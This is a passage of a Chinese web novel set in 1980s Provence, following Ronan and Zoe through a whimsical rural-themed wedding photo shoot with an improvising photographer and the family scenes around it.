罗南的餐厅主要经营的是中餐,主食里自然没有面包。 但即使是专业法餐厅,也不会有太多的面包样式供应,多是餐包,像罗南在面包大赛上推出的肉松面包、辣海鲜面包和粉红酒面包都成了‘绝版’,比赛结束后就买不到了。 罗南斟酌了一下,对那名顾客说: “我会认真考虑你的提议,找个机会把面包推出来。” “啊,莉亚,罗南!”一名怯懦懦的女孩挤进来,有些紧张的问,“我可以和你们合张影吗?” 罗南看向莉亚,询问她的意见。 他当然无所谓了,早就成为了无情的拍照机器,但莉亚. “没问题啊,亲爱的。”莉亚两只手在围裙上蹭了蹭,热情的隔着桌子把脑袋靠向那名女孩,见罗南还不过来,她催促,“快过来啊罗南,别让客人等太久了。” 罗南愣了一秒才放下黄油: “啊好好,来了。” 伊莎贝尔实在太机灵了,她一眼看出罗南的表情变化,找了一个机会悄悄告诉他——他走后,许多顾客来找莉亚聊天合影,因为甜品大赛上他们两个人的名字实在出现太多次了,莉亚已经成为了米拉波大道上的‘限定’明星。 刚开始莉亚的确如罗南预料的那样无措和紧张,但过了几天,她已经适应。 伊莎贝尔还说,根据她的观察,莉亚甚至有点享受其中呢。 “挺好的。”罗南听完伊莎贝尔的陈述,盯着莉亚陷入了沉思,也不知道在想些什么事情。 “罗南,你快别忙了,赶紧办正事去。”正在忙碌的莉亚突然反应过来,今天罗南不是来帮忙的,他是来拍婚纱照的啊,怎么能在这浪费这么长的时间呢? 随即她的眼神在密集的人群里寻找起来: “佐伊说去给大家买午饭,怎么买了这么久还没回来?” 罗南和莉亚有十足的默契,莉亚和妇女们也有十足的默契,佐伊在摊位上待了一会完全插不上手,就离开去给大家买午饭去了。 “人多,可能要排队吧。”罗南也找寻了起来。 艾克斯的游客量实在太大了,估计米拉波大道附近的餐厅全部座无虚席,排队需要些时间。 又过了十几分钟,佐伊提着两个大袋子出现: “上帝,这附近的餐厅实在太火爆了,我走到两条街外才找到一个不需要排队太久的餐厅。” 莉亚赶紧接过女儿手里的袋子: “要我说你就应该直接回来,这里这么多面包,还有甜品,我们随便吃点就好了,有什么事晚上再说。” 卖甜品的还能饿死不成? 佐伊憋着笑转动身子,露出了身后的另一个人影: “如果不是去到两条街外,我也不会在路上碰到这个迷路的‘儿童’,问一问路上的流浪狗,它都能把人带来米拉波大道,可某个人就是不肯问人,在那附近像无头苍蝇一样打转呢。” “我的上帝,维埃里!你怎么来艾克斯了!”莉亚快步走了过去,“你怎么没和你姐姐他们一起来?” 维埃里把手里的四个打包袋放下,又取下了斜挎的书包: “跟爸爸学的。” 家父路易,擅长惊喜! “儿子,考的怎么样?听你爸爸说,吧啦吧啦吧啦啦——”米拉波大道上的‘限定’明星一秒化身老母亲,喋喋不休的询问着一周不见的儿子近况。 “挺好的,都挺好的,妈妈你先去吃饭吧,我替你一会。”维埃里艰难的挣脱母亲的魔爪,眼睛不停往伊莎贝尔身上瞟。 “不用你帮忙,你先去吃饭,跟你姐姐他们一起。”莉亚拦住儿子。 维埃里的脸由红转绿,表情难看的不行。 佐伊双手抱胸,咯咯咯的笑个不停,一副看戏的样子,就是不肯替弟弟解围。 还是维埃里的好姐夫罗南,实在看不下去了,把莉亚拉到椅子上,强制她坐下: “咱们先吃吧,吃完我和佐伊就走了,佐伊说有一肚子的话要和你说呢。” 维埃里在餐厅里做过服务员,也去集市摆过摊,卖甜品和面包这点活他还是能干明白的,很快上手。 只是他行进的轨迹有些‘离奇’,本来在靠近妈妈和姐姐姐夫那附近活动,也不知道怎么回事就蹭到伊莎贝尔身边去了。 伊莎贝尔头都不抬,像是对空气说的: “恭喜啊,终于高中毕业成大人了。” 维埃里也不抬头,双手继续干活: “谢谢,但我早就成年了。” “哪个成年人会迷路?如果不碰到佐伊你要怎么办?找警察叔叔?” “我看未成年人是你吧,你一个人能找到米拉波大道?你来艾克斯的次数比我还少呢。” “但我不会迷路。” “我到没到吧?” 两个人互怼了好一会,怼舒服之后又陷入了一阵安静。 过了一两分钟,伊莎贝尔再次开口: “昨天考完,不休息休息,今天就出来了?” 维埃里干净利索的擦桌子: “这样才能制造出惊喜,谁都不会想到,我今天会来。” 伊莎贝尔把手里的零钱找给顾客: “跟你爸爸学的,给你妈妈制造惊喜?” 维埃里半天不吭声,除了互怼的时候积极,他大部分时间都像块木头疙瘩似的。 这也是伊莎贝尔乐此不疲不疲和他斗嘴的原因。 但这人刚考完试,饶他一命! 伊莎终于抬头,第一次看向斜前方的维埃里,过了几秒她才说道: “快去吃饭吧,你妈妈很挂念你,每天要提你好多好多次。” 这次木头疙瘩居然张嘴了: “原来只有妈妈想我。” 伊莎贝尔惊恐的瞪了一下眼睛,不敢相信这话是从木头疙瘩嘴里说出来的。 话说出嘴维埃里也觉得不太对劲,但也来不及了,红着脸逃离作案现场: “我给你带了礼物,一会给你。” 伊莎贝尔无动于衷的干了一会活儿,突然毫无征兆的做了一个‘耶’的动作。 虽然不知道这几天发生了什么、虽然维埃里大部分时间依然很让人讨厌但她觉得维埃里似乎变了? 莉亚一切都好,维埃里看起来也挺不错的,罗南和佐伊终于放心的离开米拉波大道,去做这次来艾克斯的主要目的——拍婚纱照。 法国人拍摄婚纱照的习俗起源于19世纪中叶。 1840年,一名叫卡尔杰的法国摄影师在巴黎首次尝试婚礼跟拍,但受限于拍摄器材和曝光时间等客观因素,只留下了几张摆拍影像,没有场景化设计。 1870年,湿版火棉胶技术将曝光缩短至30秒,法国资产阶级中兴起了拍摄‘婚礼双人肖像’的热潮。 而法国第一所规模性提供婚礼拍摄服务的机构出现于1882年,老佛爷百货推出了法国第一所预约制的婚礼拍摄沙龙。 只不过这是超级有钱人才可以享用的服务,因为一张照片的成本要80法郎左右,而那个时期巴黎普通工人的月均收入只有100-150法郎。 婚纱照在法国的普及要等到1900年前后,这要感谢柯达推出了勃朗尼相机,拍摄成本降低到了1法郎/张,虽然成本降低到了普通人可以接受的程度,但在法国也只有巴黎有专业婚纱机构,其他地区该业务依然是一片空白。 真正的转折点出现在1954年,全国所有知名杂志和报纸同时刊登出了影星碧姬·芭铎在圣特罗佩的婚纱外景照。 这个时候,绝大多数法国人才第一次听说——原来结婚的时候还可以这样做? 原来拍照可以不待在影棚里,而是来到户外? 到了20世纪八十年代,法国婚纱照的拍摄率已经高达95%以上,连居住在吕贝隆的乡下人都知道结婚时必须要拍摄一组照片留作纪念,作为新人的爱情见证。 而且主题还是五花八门的。 路易和莉亚结婚时拍摄的是‘罗马斗兽场’主题,在佐伊家客厅里挂着一张路易身穿罗马盔甲,莉亚头戴橄榄枝,分坐观众席两端隔空相望、眼睛里似乎有星辰大海的照片。 而弗雷迪和特洛西的婚纱照主题是‘工业繁荣’,拍摄场地是马赛港石油化工厂和大型龙门吊下,又是别有一副韵味。 罗南也曾看过亨利的婚纱照,没错,这老小子结婚时也拍婚纱照了,穿着双排扣船长服的年轻亨利挽着水手条纹衫、拖尾白纱的腼腆约瑟芬,他们这个主题叫‘航海征途’,听说在那个年代是新人选择最多的一组。 以前村民拿亨利开玩笑时经常说,亨利的船长帽始终不离身,是因为他不想忘记做新郎的心情。 总之,那个年代的普罗旺斯婚纱照生态无比繁荣,主题无比丰富。 只有想不到,没有他们拍不出的。 听说连星球大战主题都可以承接。 给小情侣婚纱照的摄影师是佐伊的大学同学,他毕业后在艾克斯做起了独立摄影。 坦白讲,罗南和佐伊的选择有很多。 卢尔马兰村里就住着擅长摄影的艺术家,歌迪亚也可以找到米切兰杂志社的御用大牌摄影师给罗南和佐伊掌镜。 思量再三确定这位名叫哈基米的摄影师,是因为他所擅长的拍摄方向,是罗南和佐伊想要的婚纱照主题。 “我发誓你们两个人的选择无比正确,在普罗旺斯,婚纱照当然要拍摄和乡村有关的主题,不要觉得那是你们生活中的一部分,就对它失去了兴趣。”哈基米压了两下他的黄色贝雷帽,自信的说,“其中的美丽细节多到你们想不出,好了,快去换衣服吧,我们的时间非常宝贵,今天要换好几个场景呢。” 第501章 这哈基米有点东西 当换好深灰色粗呢两件套和亚麻衬衣的罗南,坐在凳子上艰难的穿戴护腿套时,无比庆幸于他坚持要减肥的决定。 万幸减肥成功了. 如果听信了那些‘不用减不用减你一点都不胖’的谗言,别说胖10斤,就是胖5斤,他上身的马甲都系不上扣了,更不要说弯下腰去穿护腿套,这身衣服设计的太修身了。 “但这是要拍什么呢?”穿好护腿套,罗南又拿起地上的旧皮靴,不由得陷入了沉思。 卢尔马兰的农夫们打猎不行,但科普起打猎知识‘头头是道’的。 护腿套在法国历史中是极具阶层标识功能的服饰,皮质镶金扣、貂毛镶边和猩红呢绒等元素的是贵族外出打猎时常穿的,但他腿上这个没有一丁点元素装饰,说明是平民穿的。 不,恐怕连平民都算不上。 他手上这双旧靴子鞋跟都开裂了,用麻绳捆了几圈,别有一番韵味。 哈基米并不是专职做婚纱照拍摄的,他是一位独立摄影师,自然不会有什么样图给罗南和佐伊做参考。 虽然哈基米没有什么名气、在艾克斯填饱肚子都要求老天爷赏面子,但小情侣都非常喜欢他的作品,那些照片相当有灵气。 合计了好几天,两个人决定赌一把,哈基米能拍好风景和器物.就一定能拍好人物肖像。 所以接下来的几个小时,是彻头彻尾的‘盲盒’时间,罗南根本不知道将要面对什么。 但他这身装扮也太破破烂烂了.和新郎是一点都不沾边啊。 普罗旺斯人的婚纱照样式确实千奇百怪,这个罗南早有耳闻,但似乎没有走这种‘破败’风的吧? 坦白讲,他现在心里忐忑极了,开始寻思如果今天不尽如人意,再约一组婚纱照时间是否来得及。 而当罗南看到换好服装出现的佐伊,心中的忐忑更重了。 他指了指自己,又指了指佐伊,无语的问: “为什么你穿的是婚纱?” 佐伊的画风和罗南完全不同。 她穿了一套象牙白缎面婚纱,头纱上有麦穗形状的锡片点缀。 虽然样式和材质并不高级,是很普通的款式,但这一看就是新娘啊。 佐伊看到罗南也愣了一下: “你没穿错衣服?” 和想象中的不太一样啊。 罗南展示了一下他旧靴子掉了的鞋底: “那隔间里就这一身衣服。” 今天到底是不是乡村主题? 还是穷小子和公主私奔的故事? 哈基米如幽灵般出现,根本不给罗南复盘的时间,催促道: “快走快走,我们快点出发,时间不等人啊。” 哈基米定的拍摄地点在距离艾克斯市区10公里左右的一处高山修道院附近,那周围是连成片的梯田麦地。 他说,在那周围有罗南和佐伊本次拍婚纱照所需的所有‘道具’。 罗南以为那里也许有一个哈基米的小仓库或者其他什么,没想到停下车,这位艺术家像是流浪汉一样,看到麦地里有什么就捡什么。 “这麻布袋子不错,来佐伊,你拿着。”哈基米塞了一个破口袋给佐伊。 “罗南,你拿一下地上的镰刀,诶诶,钉耙也一起带着。”哈基米指挥着罗南‘捡’装备。 罗南束手束脚的说: “这是农夫用的吧?你拿走了他们一会找不到了怎么办?” 哈基米突然眼前一亮,向着某个‘道具’冲去: “不会不会,都是熟人,我经常来这里,用完还回去就行了。” 佐伊和罗南互看了一眼,同时叹了一口气。 行了,什么都别说了,‘捡’吧。 三个人一路捡捡停停,经历了大概四五轮道具更替,终于走到了这片麦地的尽头——一所名叫圣维克多的修道院,听说已经废弃100多年了。 哈基米把佐伊一路带着的破口袋铺到修道院墙外的一片干净土地上: “佐伊,你光着脚跪坐到这上面,鞋子放远一点啊,我一会要拍远景,背景用修道院的残破石墙。” 指导完佐伊,哈基米终于拿出了他的摄像机,寻找起拍摄角度: “罗南,你辛苦一点,把那边的量谷斗扛起来。” “扛起来?扛哪去?”罗南无声抗议。 不能因为我穿的破破烂烂就让我当苦力啊,那里面还有小麦呢。 哈基米指着佐伊说: “扛到佐伊的身后去,那是这个构图里最重要的道具。” 还好罗南真干过农活,否则婚纱照到这里就要宣告结束了。 他憋了一口气,用一个标准的硬拉将量谷斗抱起,缓慢的走向佐伊。 一直到此时,罗南和佐伊都是一头雾水的状态,任凭哈基米将他们呼来喝去。 走到规定的地点,罗南继续问: “然后呢?” “然后听我的指令,这个构图只有这一次机会,别乱动哈你——”哈基米双腿叉开,将摄像机架起,“佐伊,你双手兜住婚纱下摆,保持这个姿势不要动,好的好的好的,漂亮极了!下面罗南听我指令——倒!” 罗南早就抱不住了,左手一松,满满一斗的麦子掉落到跪在麻袋上的佐伊双手兜起的婚纱下摆上,麦子实在太多了,很快溢出了裙子,佐伊手忙脚乱的想要尽可能多的将它们兜住。 “有了有了!”哈基米大喊,“漂亮,太漂亮了!” 罗南想将零星掉落到佐伊头纱上的麦子抖落,但哈基米制止道: “不要动,罗南你就低头看着佐伊的后脖颈,佐伊,你也不要动,低头看着手里的麦子。” 过了2秒钟,哈基米站直了身体: “有了有了有了,可以了,我们换下个背景。” “这就有了?”罗南将被麦子淹没的佐伊扶起。 从他的视角看,不算捡垃圾的时间,他和佐伊摆好poss后约摸着只过去了不到十秒钟,这个背景就拍完了? 哈基米扛起耙子转身就走: “背后破败的石墙和镜头前的丰收形成了对比、佐伊的光鲜靓丽和罗南的破旧形成了对比、镜头里的一黑一白形成了对比这组照片象征爱情不惧时间跨度、不惧身份地位、不惧立场角度,爱是永恒,也是一瞬,刚刚的素材足够了。” 罗南一扭头,碰到了用同款表情看过来的佐伊的目光。 几秒钟后,两个人异口同声的说: “这个哈基米有点东西” 说完,快步追了上去。 第二个拍摄场地在修道院半开放地下室的一处拱门下。 在这里,罗南终于看到了哈基米的小‘仓库’,里面有一些他提前‘准备’的拍摄道具。 不过罗南很快套出了实话。 据哈基米自述,他虽然没有拍过新人,但经常来拍这周围的农民,所以和他们混成了朋友,这些道具其实是让村民帮忙送来的。 怎么说呢。 虽然不用‘捡’装备了,但东西还是别人的。 道具的事儿先放一边,艺术家是一群非常有个性的群体。 万一这就是哈基米的风格呢? 不过不知是不是心理作用,罗南渐渐认可了哈基米的专业度,不像一开始那么忐忑了。 因为在拍摄第二组照片前,他又让小情侣换了一次服装。 “服装准备的那么充分,拍出来的照片肯定不会差吧?”罗南如是安慰着自己。 此时哈基米正在指导佐伊正确的穿好她的服装,换装后,佐伊脱掉了婚纱,换了一件蕾丝衬裙。 “把铜铃腰带系在腰上,橄榄枝环不要戴在头上,是挂在脖子上的佐伊,左手拿好这个油灯,右手握住这只毛笔,蹲到石门下的瓮边。”哈基米依旧是一通疯狂指挥。 安排完佐伊的行头、道具和动作,哈基米看向罗南。 这次罗南的换装很简单,将呢子马甲脱了,换了一件同款外套,其他还是同样的。 但通过上一景的拍摄经验和佐伊刚刚的遭遇,罗南猜,这次的重点在那些道具上。 “罗南来。”哈基米对罗南招手,“你把外套脱下来,披到佐伊身上,再把袖子卷到手肘。” 罗南听话的照做,等待着哈基米的下一步指挥。 “好了,去吧,蹲佐伊身边去。”哈基米像应付宠物一样,对罗南摆了摆手。 罗南一脑门问号。 佐伊又是换装,又有这么多配饰和道具.怎么到了我这里,不仅没有道具,还倒贴了一件衣服呢? 这合理吗? 虽然心底同时涌出了几十句抱怨,但罗南还是乖乖的蹲到了佐伊的身边。 又摆弄了一会两个人的姿势,哈基米满意的点点头。 这次他没有着急去拿相机,而是从随身的包里小心翼翼的拿出了一样东西,双手捧着,交到罗南的手里: “千万别弄坏。” 这个地下室有有阳光射进来,不是暗室,罗南可以很轻易的看清手里的东西,那是一本弥漫着古朴气息的手抄《婚约》,纸张都泛黄起皮了。 在普罗旺斯当地婚礼上,新郎和新娘要在证婚人、神父或者公证人的见证下将手放在《婚约》立誓,但那个《婚约》是印刷体。 “1903年的,绝对的好东西。”哈基米终于拿起了相机。 罗南一阵感动。 谁说哥们一路靠‘捡’道具走到这里的? 瞧瞧,王炸来了! “佐伊,你的羽毛笔千万别落上去,稍微留点距离,这是我费了好大的力气借来的,今天就得还回去。”哈基米用微弱的声音提醒,似乎声音太大会让那本将近一百年的手抄《婚约》灰飞烟灭似的。 罗南:“.” 不是哥们,真是没有一件道具是你的啊。 “佐伊,你模拟出用羽毛笔手抄《婚约》的样子,眼神低垂凝重,罗南,你单膝跪地,一手扶着翁上的《婚约》,一手和佐伊一起扶着她手里的油灯,对对对,两个人靠近一点啊。”哈基米的声音打断了罗南的思绪。 他一边拍一边解释: “新娘身披新郎的外套,象征身体上的归属,手抄《婚约》代表心灵上的归属,罗南你温柔的看向这个身心都属于的女人,做出要保护她一生一世的架势。” 佐伊经常评价罗南是一个很容易动情的人,他总是能第一个感受到身边人的情绪波动。 在哈基米的情绪带动下,罗南完全进入了他所说的状态,看向身边身心都属于自己的美丽妻子。 看着看着,他控制不住的吻了上去。 没有接吻的婚纱照怎么行呢? 但哈基米和佐伊同时大喝一声,地下室里响起恐怖的回声,差点把罗南的魂吓出去。 “不可以有亲密行为!” 罗南一屁股坐到地上,还不忘手捧那本价值连城的手抄《婚约》: “为什么?” “你说是法律约束?” 第二个背景都拍完了,罗南依然耿耿于怀刚才发生的事情。 不是凭什么啊 我亲我自己的妻子也不行么? 佐伊很抱歉没有提前给罗南科普过这么重要的当地法律: “阿维尼翁教区1979年颁布了最新版的《婚配圣事礼仪规范》,里面规定在教会所属场地,禁止拍摄唇部接触、肢体交缠等影像,因其亵渎婚姻神圣性,虽然这座修道院被遗弃了很多年,但它依然属于教会所属场地。” 哈基米惊魂未定的补充: “虽然我这人和谁都能处成好朋友,但我不敢保证洗胶片的伙计是不是一位狂热的天主教徒,如果是那样的话,他看到底片真有可能会去举报你们。” 罗南反问: “他怎么知道我们是在修道院拍摄的?这里看不出什么明显的地标建筑啊。” 佐伊拉住罗南的胳膊,让他别激动: “是的,确实无法识别地标,所以阿维尼翁教区又颁布了《公共风化法》修正案,禁止在市政财产范围展示‘过度私密行为’,前年有一对新人在商业大楼前模仿《乱世佳人》的经典动作接吻,即使没有拍照也被拘捕了。” “这可太不普罗旺斯了!”罗南气呼呼的说。 哈基米笑哈哈的安慰: “不过我想说的是,正是因为这条法律存在,普罗旺斯才诞生了一个个浪漫的‘替代性’符号、出现了一幕幕无法被人忘记的经典镜头,走吧,我们去拍些浪漫又生活的东西。” 第502章 走,登记去! 罗南和佐伊在圣维克托修道院里换上了第三套服装。 这一次,罗南终于满意了。 工装裤配无袖麻衫,身上还斜挎了一个皮质牧羊包,和佐伊的靛蓝色亚麻牧羊裙、橄榄绿方巾、罗马式皮凉鞋终于像一对夫妻了。 “哈基米,如果做摄影师无法满足你的日常开销,我建议你再去干些兼职,比如裁缝什么的,你很有天分。” 经过了几轮拍摄,罗南对哈基米的造型能力无比肯定。 衣服一上身,他和佐伊马上穿回中世纪,而且还是中世纪的普罗旺斯。 他曾跟着母亲冯珍看过一些普罗旺斯当地电视台的电视剧,那个年代的牧羊人和牧羊人的妻子就是这样打扮的,简直是一模一样。 “哈哈,我会认真考虑的。”哈基米带小情侣去往下一个拍摄场地,也在修道院附近,不过要走一段山路。 佐伊也提出了她的建议: “或者你可以做一些和‘说’有关的兼职,你是我见过最擅长‘解读’作品的艺术家了。” 虽然还没看到成片,但哈基米在拍摄过程中的那些解读,已经可以让罗南和佐伊心甘情愿的买单了。 “这组照片象征爱情不惧时间跨度、不惧身份地位、不惧立场角度。” “爱是永恒,也是一瞬。” “新娘身披新郎的外套,象征身体上的归属,手抄《婚约》代表心灵上的归属.” 听听,快听听! 多么伟大的艺术解读啊,可以在结婚现场念出来的那种。 哈基米在前面嘻嘻哈哈的说: “希望上帝保佑我靠拍照片填饱肚子,要不然普罗旺斯要诞生一名伟大的乡村诗人了。” 走了约半个小时,一行三人终于解锁了新的环境——山上的牧羊人小屋。 虽然生活空间已被严重压缩,但1987年普罗旺斯仍有牧羊人存在,他们仍是地中海文化中不可或缺的重要组成部分。 无论是梅纳村还是戈尔德这样的明星村庄,还是艾克斯和阿普特这种小城镇,亦或者是刚刚起步的卢尔马兰,山间、森林边缘、溶洞内都可以看到牧羊人延续着几百年前的生活方式。 在罗南和佐伊欣赏这里的原始风貌时,哈基米已经动起来了,他熟练的在石屋外架起了一条晾衣绳。 “我去屋里看看,找找有没有什么趁手的道具。”说完,哈基米欠身走进了这座石屋里。 放在地上的‘道具’,‘捡’就捡了,但你不能去人家屋子里‘捡’道具啊,罗南的确不熟悉普罗旺斯的当地特殊律法,但他无比确信这是违法的。 “哈基米,我们就在外面找些道具吧,万一屋子里丢了东西,我们解释不清。”罗南对着门缝说,语气里满是焦急。 一个贝雷帽从那条缝隙里出现: “拿自己家里的东西需要什么解释?” 不给罗南和佐伊反应的时间,哈基米把一根黑色牧羊手杖塞到罗南的手里: “快藏起来,别让我爸爸发现我拿了他的‘宝贝’。” 终于反应过来发生了什么的罗南更加无语了。 不是都到自己家了,道具还用别人的?? 这个背景下拍摄的照片很生活化。 例如小情侣互相喂山羊奶酪,一起揉面团,用面粉打打闹闹等,全部在晾衣绳前铺有当地特色碎花布的木桌子前发生。 哈基米告诉罗南和佐伊,镜头中这条晾衣绳与幸福的情侣,寓意爱情是生活与浪漫的交织。 又感慨了一阵子哈基米的艺术解读能力后,佐伊问起了关于他家的事情: “因为这是你家,所以你和周围的农夫们都是好朋友?” 哈基米一边指挥罗南和佐伊摆出新的姿势,一边抽空回答: “我已经离开家很久了,我爸爸自己住在这里。” 罗南回头看了一眼屋子: “你爸爸不在家?” 哈基米直起身子: “可能骑车去超市了。” 虽然每一个单词都没什么问题,但放在这个语境里就是感觉奇奇怪怪的。 牧羊人是历史和地方风俗的代名词,这个职业比古罗马人占领这片土地还要早出现,延续了几千年有余。 原来牧羊人也会骑车和逛超市啊 似乎是看出了罗南和佐伊的疑惑,哈基米笑着解释: “最近这几年畜牧业正在经历重要的变革,牧羊人们接触了许多新设备,已经不是以前那幅样子了,别看这里荒凉到不行,但通电了你敢信?当然了,后遗症也是有的那就是现代科技把他们赶去了更加偏远的牧区。” 哈基米指着来的方向说: “我小时候去艾克斯城区只用30分钟时间,现在来这里要先开四十分钟的车子,再走1个小时的山路,哈哈,还好我爸爸买了自行车,要不然去买东西有他受的了。” 佐伊和哈基米是同学,但从来没听过这些故事: “我以为你一直住在艾克斯。” “我们这辈人不甘于继承祖辈的牧羊手杖,想要用双手创造新的奇迹。”哈基米笑着叹气,“但去了大城市后,还是觉得这里最美,拍的也是都和乡村有关的东西.牧羊杖变成了摄像机而已。” 罗南心里特别不是个滋味。 1987年,牧羊人虽然数量减少了许多,但至少还是有的。 但到了2005后,牧羊人在法国彻底的‘消亡’了,也有一些自诩是‘牧羊人’的家伙存在,但全部是演员性质,他们只会出现在景区里。 这中间的近20年是一个慢性死亡的过程——牧羊人这个存在了2000多年的职业,就这样悄无声息的消失在了普罗旺斯,消失在了大家的视线里。 职业消失了,但记忆不会消失啊 “以后多来这里拍拍。”罗南环顾四周,“这里漂亮极了。” 哈基米得意的扬下巴: “你也觉得这里很美,对不对?我跟你说,这个地方在照片里呈现出来时更加美丽和震撼,你们一定会满意这次的照片,我发誓!” “对了,你说的那些替代符号呢?我们什么时候拍它们?”罗南问起了另一个话题。 之前哈基米说,虽然在普罗旺斯拍照时异性间不能做出亲密的举动,但是有许多替代形式。 哈基米对罗南摆了摆手: “别急别急,那需要一些道具,我们还没‘捡’到呢。” 哈基米的动作很快,拍完牧羊人小屋的环境,马不停蹄的带着罗南和佐伊去‘捡’道具。 “阿维尼翁教区规定拍照时不能接吻,智慧的普罗旺斯人就发明出了共咬橄榄枝的动作,寓意嘴唇之间的触碰。” “新郎拿着镰刀,新娘拿着麦捆或者其他农具,交叉成X形状是拥抱的代替,你们别不信,这可是地地道道的普罗旺斯农民才知道的东西,一般人我才不会告诉他们呢。” “老祖宗们真是聪明啊,想鼻尖相触,又怕伤风败俗,就用双人共嗅薰衣草束做隐喻,哎呀呀呀呀呀,对对对,就是这样,你们太有默契了。” 一路捡,一路拍,哈基米一路做科普不知不觉夕阳西下,今日的婚纱照拍摄计划进入了尾声,但哈基米坚持要再拍一组。 因为他在路边‘捡’道具的时候遇到了几只羊。 普罗旺斯乡村主题的婚纱照怎么能没有羊群呢? 可这些演员可不会像罗南和佐伊那样乖乖的配合,让往东往东,让往西往西.哈基米衣服都湿透了,没有一只羊听从他的摆布。 “我觉得数量够了,要不算了吧。”佐伊看着罗南说,“今天拍了很多组照片,我和罗南都挺满意的。” 要故事有故事,要画面有画面,要隐喻有隐喻,服装不停的换,还有非常熟悉乡村主题的摄影师掌镜这次婚纱照之旅比佐伊预想中还要成功和顺利。 有没有这组羊的照片真的无所谓,尤其她能看出哈基米为了调动这些羊的走位已经拿出了全部的本领.但人家羊不买单啊。 哈基米气的把贝雷帽都摘了,语气里满是不甘心: “我小时候用盐块可以引导羊2公里,怎么现在不好使了呢?难道这些羊在现代科技手段饲养下,基因变异了?” 罗南似乎看到了他自己: “我也觉得现在的羊基因变异了,一个个比人还精。” “哦,那没有,那没有。”哈基米继续做最后的尝试,“羊这种东西很笨,除了吃什么都不懂。” “那就是我家那只成精了。”罗南对佐伊告状,“你知道吗,今早呼呼拉着我去了小吃街,我真怀疑它的羊皮下是个人。” “你们家有羊?”哈基米意外的问。 佐伊轻轻点头,开心的说: “我和罗南在家里养了一只。” 呼呼在罗南家适应的很不错,除了每天和宿敌马赛打几架,没有其他太大的问题,能吃能喝能睡。 喜欢自由的呼呼非常喜欢这个新的环境,终于不用住在栅栏里了。 佐伊悬了好几个月的心终于踏实的放了下去,一想起来就开心。 被这几只群演搞砸了心态,哈基米语气恶毒的说: “养这种东西干什么,它们除了让你生气就是让你生气,提供不了其他情绪价值。” 罗南得意的挑了下眉毛,对哈基米说: “那只羊让我训得服服帖帖,每次见到我那幅讨好的样子.就别提了,有机会去我家看看。” 哈基米出生于牧羊人世家,听罗南这么说,顿时来了兴趣: “真的假的?那我要带着相机去拍它了,要是不配合,我可不会结‘模特’费。” 佐伊无比骄傲的拍了拍罗南的后背: “这个月罗南要和呼呼去参加山羊赛跑大赛,我聘请你去全程跟拍,回头给我报价吧。” 哈基米有才华、有能力,应该多些展示的机会。 “山羊赛跑大赛?”哈基米不敢置信的上下打量罗南,“那可是连职业牧羊人都不敢去的,你确定.罗南可以?” 成片要等几天才能看到,而哈基米还要再加工一下,需要耗费更多的时间。 他会将照片做成精美的册子,上面用薰衣草干花镶嵌封面。 几个人一合计,那就在山羊赛跑比赛当天交接婚纱照吧。 艾克斯和卢尔马兰之间有着不短的路途,现在还是旅行季,而他们这个月又还有一次见面的机会,就别在路上浪费时间了。 与哈基米分别,罗南和佐伊驱车前往莉亚他们在艾克斯的落脚酒店,太晚了,就不回去了。 今天是个值得纪念的日子,小情侣拍了一组非常成功的婚纱照,必须得带着在他乡忙碌了好几天的妇女和女孩们出去吃顿好的。 莉亚她们已经回到了住处,听到要出去吃饭一个比一个兴奋。 这几天除了工作就是工作,是该放松一下了。 而且除了罗南的餐厅,这些妇女出去下馆子的次数屈指可数,听说艾克斯是美食胜地,想要好好出去见识一下。 不过在清点人数时,罗南发现少了一个人: “伊莎贝尔呢?” 他就觉得刚刚欢呼时少了些气势,没听到大嗓门的伊莎贝尔的声音。 莉亚笑容满面的说: “伊莎贝尔和维埃里出去了。” 罗南和佐伊皆是一惊。 维埃里和伊莎贝尔的瓜,他们从来都是偷偷的私下讨论,从来没有放到明面上说过。 因为他们觉得年轻人需要空间,这两个嘴硬的家伙天天一副冤家的样子,长辈们如果不仔细应该也看不出来什么.没必要多嘴。 “啊?啊!啊”莉亚的反应让罗南有些拿不准情况,装傻充愣的说,“出去买东西去了是不是?嗯嗯,忙正事要紧。” 莉亚笑得更开心了: “不是,维埃里约伊莎贝尔去吃饭,两个人一收摊就走了。” 佐伊瞪大眼睛看罗南。 上帝,我没听错吧? 这还是我弟弟维埃里吗? 罗南轻轻拍了几下佐伊的手背。 我就说维埃里的青春期要结束了吧? 他还能一辈子‘亲密关系’过敏吗? 第二天一早。 罗南和佐伊开车返回卢尔马兰。 婚纱照拍完,要去办另外一件大事——结婚登记。 由于宗教的原因,普罗旺斯不仅拍照规矩多,结婚登记的规矩也多.早些去办早些踏实。 第503章 上帝,结婚怎么这么难? 佐伊告诉罗南,居住在卢尔马兰的公民登记结婚必须去往卢尔马兰市政厅,而不是其他的村落,这里严格执行‘住所地唯一管辖’制度。 别管出生在哪里,也别管婚礼在哪里举行,就算你来自月球,要去火星举办婚礼,也必须老老实实的按照本地法律操作否则婚姻不被承认。 “普罗旺斯松弛的时候是真松弛,严苛的时候也是真的严苛,在公众场合做亲密举动不行,去别的地方登记结婚也不行.”回卢尔马兰的路上,罗南忍不住抱怨,“还有什么规矩,你也一起给我讲讲吧。” 罗南之前还计划给佐伊一个惊喜。 比如设计一个二人旅游的独处机会,再经过一些浪漫的设计,用‘私奔’的方式带佐伊去当地市政厅把结婚证领了,很多巴黎年轻人都是这样做的。 现在这个计划完全泡汤了. 佐伊耐心的给他解释: “我要纠正你一个错误,事实上,只有沃克吕兹省在某些法律法规方面比较严苛,普罗旺斯其他省并不是这样的。” 普罗旺斯是一片大区的总称,其下共有六个行政省。 罗南和佐伊居住的卢尔马兰和附近的中世纪村庄归沃克吕兹省管辖,卡福开起来的临时编织店铺地点阿普特同样属于这个省,省会为阿维尼翁。 小情侣刚刚拍婚纱照的艾克斯隶属于罗纳河口省,省会城市为马赛,该省还有另外一个著名的城市阿尔勒。 上普罗旺斯阿尔卑斯省与意大利接壤,那里是法国人口密度最低的省份之一,也是看薰衣草的最佳去处,巴蒂的上一个居住地瓦朗索勒就在那里,省会为迪涅莱班。 而尼斯和戛纳等城市归属于滨海阿尔卑斯省,该省直接和摩纳哥接壤,省会是尼斯,副省会是世界香水的天堂格拉斯。 另外两个行政省是上阿尔卑斯省和瓦尔省,这六个省共同组成了普罗旺斯大区。 罗南觉得有些意外。 普罗旺斯一向是密不可分、不分你我的,当地人从来不会分这个省那个省,都以‘普罗旺斯’这个代称指代这一片。 你现在告诉我,居然要分的那么细,而且与众不同的那一个,居然就是他所居住的沃克吕兹省这谁能满意啊? “为什么沃克吕兹省这么特殊?”罗南不理解的问。 